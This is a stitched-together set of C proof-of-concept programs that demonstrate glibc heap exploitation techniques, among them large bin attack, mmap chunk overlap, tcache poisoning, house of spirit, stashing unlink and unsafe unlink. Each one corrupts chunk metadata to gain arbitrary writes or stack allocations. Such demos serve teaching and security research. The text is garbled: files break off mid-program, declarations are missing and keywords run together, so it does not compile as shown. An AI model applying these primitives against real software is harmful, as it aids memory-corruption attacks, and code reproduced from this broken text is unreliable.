size_t *p2 = malloc(0x418); printf("We also allocate a second large chunk [p2] (%p).\n",p2-2); printf("This chunk should be smaller than [p1] and belong to the same large bin.\n"); size_t *g2 = malloc(0x18); printf("Once again, allocate a guard chunk to prevent consolidate\n");
printf("\n");
free(p1); printf("Free the larger of the two --> [p1] (%p)\n",p1-2); size_t *g3 = malloc(0x438); printf("Allocate a chunk larger than [p1] to insert [p1] into large bin\n");
printf("\n");
free(p2); printf("Free the smaller of the two --> [p2] (%p)\n",p2-2); printf("At this point, we have one chunk in large bin [p1] (%p),\n",p1-2); printf(" and one chunk in unsorted bin [p2] (%p)\n",p2-2);
printf("\n");
p1[3] = (size_t)((&target)-4); printf("Now modify the p1->bk_nextsize to [target-0x20] (%p)\n",(&target)-4);
printf("\n");
size_t *g4 = malloc(0x438); printf("Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\n", p2-2, p2-2); printf("Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\n"); printf(" the modified p1->bk_nextsize does not trigger any error\n"); printf("Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd_nextsize is overwritten to address of [p2] (%p)\n", p2-2, p1-2, p2-2);
printf("\n");
printf("In our case here, target is now overwritten to address of [p2] (%p), [target] (%p)\n", p2-2, (void *)target); printf("Target (%p) : %p\n",&target,(size_t*)target);
printf("This is performing an overlapping chunk attack but on extremely large chunks (mmap chunks).\n"); printf("Extremely large chunks are special because they are allocated in their own mmaped section\n"); printf("of memory, instead of being put onto the normal heap.\n"); puts("=======================================================\n"); printf("Allocating three extremely large heap chunks of size 0x100000 \n\n"); longlong* top_ptr = malloc(0x100000); printf("The first mmap chunk goes directly above LibC: %p\n",top_ptr);
// After this, all chunks are allocated downwards in memory towards the heap. longlong* mmap_chunk_2 = malloc(0x100000); printf("The second mmap chunk goes below LibC: %p\n", mmap_chunk_2);
longlong* mmap_chunk_3 = malloc(0x100000); printf("The third mmap chunk goes below the second mmap chunk: %p\n", mmap_chunk_3);
printf("\nCurrent System Memory Layout \n" \ "================================================\n" \ "running program\n" \ "heap\n" \ "....\n" \ "third mmap chunk\n" \ "second mmap chunk\n" \ "LibC\n" \ "....\n" \ "ld\n" \ "first mmap chunk\n" "===============================================\n\n" \ ); printf("Prev Size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-2]); printf("Size of third mmap chunk: 0x%llx\n\n", mmap_chunk_3[-1]);
printf("Change the size of the third mmap chunk to overlap with the second mmap chunk\n"); printf("This will cause both chunks to be Munmapped and given back to the system\n"); printf("This is where the vulnerability occurs; corrupting the size or prev_size of a chunk\n");
// Vulnerability!!! This could be triggered by an improper index or a buffer overflow from a chunk further below. // Additionally, this same attack can be used with the prev_size instead of the size. mmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2; printf("New size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-1]); printf("Free the third mmap chunk, which munmaps the second and third chunks\n\n");
/* This next call to free is actually just going to call munmap on the pointer we are passing it. The source code for this can be found at https://elixir.bootlin.com/glibc/glibc-2.26/source/malloc/malloc.c#L2845 With normal frees the data is still writable and readable (which creates a use after free on the chunk). However, when a chunk is munmapped, the memory is given back to the kernel. If this data is read or written to, the program crashes. Because of this added restriction, the main goal is to get the memory back from the system to have two pointers assigned to the same location. */ // Munmaps both the second and third pointers free(mmap_chunk_3);
/* Would crash, if on the following: mmap_chunk_2[0] = 0xdeadbeef; This is because the memory would not be allocated to the current program. */
/* Allocate a very large chunk with malloc. This needs to be larger than the previously freed chunk because the mmapthreshold has increased to 0x202000. If the allocation is not larger than the size of the largest freed mmap chunk then the allocation will happen in the normal section of heap memory. */ printf("Get a very large chunk from malloc to get mmapped chunk\n"); printf("This should overlap over the previously munmapped/freed chunks\n"); longlong* overlapping_chunk = malloc(0x300000); printf("Overlapped chunk Ptr: %p\n", overlapping_chunk); printf("Overlapped chunk Ptr Size: 0x%llx\n", overlapping_chunk[-1]);
// Gets the distance between the two pointers. int distance = mmap_chunk_2 - overlapping_chunk; printf("Distance between new chunk and the second mmap chunk (which was munmapped): 0x%x\n", distance); printf("Value of index 0 of mmap chunk 2 prior to write: %llx\n", mmap_chunk_2[0]); // Set the value of the overlapped chunk. printf("Setting the value of the overlapped chunk\n"); overlapping_chunk[distance] = 0x1122334455667788;
// Show that the pointer has been written to. printf("Second chunk value (after write): 0x%llx\n", mmap_chunk_2[0]); printf("Overlapped chunk value: 0x%llx\n\n", overlapping_chunk[distance]); printf("Boom! The new chunk has been overlapped with a previous mmaped chunk\n"); assert(mmap_chunk_2[0] == overlapping_chunk[distance]);
_exit(0); // exit early just in case we corrupted some libraries }
/* A simple tale of overlapping chunk. This technique is taken from http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf */
long *p1,*p2,*p3,*p4; printf("\nThis is another simple chunks overlapping problem\n"); printf("The previous technique is killed by patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c\n" "which ensures the next chunk of an unsortedbin must have prev_inuse bit unset\n" "and the prev_size of it must match the unsortedbin's size\n" "This new poc uses the same primitive as the previous one. Theoretically speaking, they are the same powerful.\n\n");
printf("Let's start to allocate 4 chunks on the heap\n");
printf("Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n"); int evil_chunk_size = 0x581; int evil_region_size = 0x580 - 8; printf("We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n", evil_chunk_size, evil_region_size);
/* VULNERABILITY */ *(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2 /* VULNERABILITY */
printf("\nNow let's free the chunk p2\n"); free(p2); printf("The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n");
printf("\nNow let's allocate another chunk with a size equal to the data\n" "size of the chunk p2 injected size\n"); printf("This malloc will be served from the previously freed chunk that\n" "is parked in the unsorted bin which size has been modified by us\n"); p4 = malloc(evil_region_size);
printf("\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size); printf("p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x580-8); printf("p4 should overlap with p3, in this case p4 includes all p3.\n");
printf("\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3," " and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n");
printf("Let's run through an example. Right now, we have:\n"); printf("p4 = %s\n", (char *)p4); printf("p3 = %s\n", (char *)p3);
printf("This file demonstrates the house of spirit attack on tcache.\n"); printf("It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n"); printf("You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n"); printf("(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n");
printf("Ok. Let's start with the example!.\n\n");
printf("Calling malloc() once so that it sets up its memory.\n"); malloc(1);
printf("Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n"); unsignedlonglong *a; //pointer that will be overwritten unsignedlonglong fake_chunks[10]; //fake chunk region
printf("This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]);
printf("This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"); fake_chunks[1] = 0x40; // this is the size
printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2];
printf("Freeing the overwritten pointer.\n"); free(a);
printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); void *b = malloc(0x30); printf("malloc(0x30): %p\n", b);
printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n" "returning a pointer to an arbitrary location (in this case, the stack).\n" "The attack is very similar to fastbin corruption attack.\n"); printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n" "We have to create and free one more chunk for padding before fd pointer hijacking.\n\n");
size_t stack_var; printf("The address we want malloc() to return is %p.\n", (char *)&stack_var);
printf("Freeing the buffers...\n"); free(a); free(b);
printf("Now the tcache list has [ %p -> %p ].\n", b, a); printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n" "to point to the location to control (%p).\n", sizeof(intptr_t), b, &stack_var); b[0] = (intptr_t)&stack_var; printf("Now the tcache list has [ %p -> %p ].\n", b, &stack_var);
printf("1st malloc(128): %p\n", malloc(128)); printf("Now the tcache list has [ %p ].\n", &stack_var);
printf("This file demonstrates the stashing unlink attack on tcache.\n\n"); printf("This poc has been tested on both glibc-2.27, glibc-2.29 and glibc-2.31.\n\n"); printf("This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n"); printf("The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n"); printf("This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n");
// stack_var emulate the fake_chunk we want to alloc to printf("Stack_var emulates the fake chunk we want to alloc to.\n\n"); printf("First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n");
stack_var[3] = (unsignedlong)(&stack_var[2]);
printf("You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]); printf("Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]); printf("Now we alloc 9 chunks with malloc.\n\n");
//now we malloc 9 chunks for(int i = 0;i < 9;i++){ chunk_lis[i] = (unsignedlong*)malloc(0x90); }
//put 7 chunks into tcache printf("Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n");
for(int i = 3;i < 9;i++){ free(chunk_lis[i]); }
printf("As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n");
//last tcache bin free(chunk_lis[1]); //now they are put into unsorted bin free(chunk_lis[0]); free(chunk_lis[2]);
//convert into small bin printf("Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n");
malloc(0xa0);// size > 0x90
//now 5 tcache bins printf("Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n");
malloc(0x90); malloc(0x90);
printf("Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var);
//trigger the attack printf("Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n");
calloc(1,0x90);
printf("Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]);
//malloc and return our fake chunk on stack target = malloc(0x90);
printf("As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target);
intmain() { setbuf(stdout, NULL); printf("Welcome to unsafe unlink 2.0!\n"); printf("Tested in Ubuntu 20.04 64bit.\n"); printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n"); printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");
int malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin int header_size = 2;
printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0 uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1 printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr); printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
printf("We create a fake chunk inside chunk0.\n"); printf("We setup the size of our fake chunk so that we can bypass the check introduced in https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f\n"); chunk0_ptr[1] = chunk0_ptr[-1] - 0x10; printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n"); chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3); printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n"); printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n"); chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2); printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]); printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);
printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n"); uint64_t *chunk1_hdr = chunk1_ptr - header_size; printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n"); printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n"); chunk1_hdr[0] = malloc_size; printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x430, however this is its new value: %p\n",(void*)chunk1_hdr[0]); printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n"); chunk1_hdr[1] &= ~1;
printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n"); printf("You can find the source of the unlink_chunk function at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=1ecba1fafc160ca70f81211b23f688df8676e612\n\n"); free(chunk1_ptr);
printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n"); char victim_string[8]; strcpy(victim_string,"Hello!~"); chunk0_ptr[3] = (uint64_t) victim_string;
printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n"); printf("Original value: %s\n",victim_string); chunk0_ptr[0] = 0x4141414142424242LL; printf("New Value: %s\n",victim_string);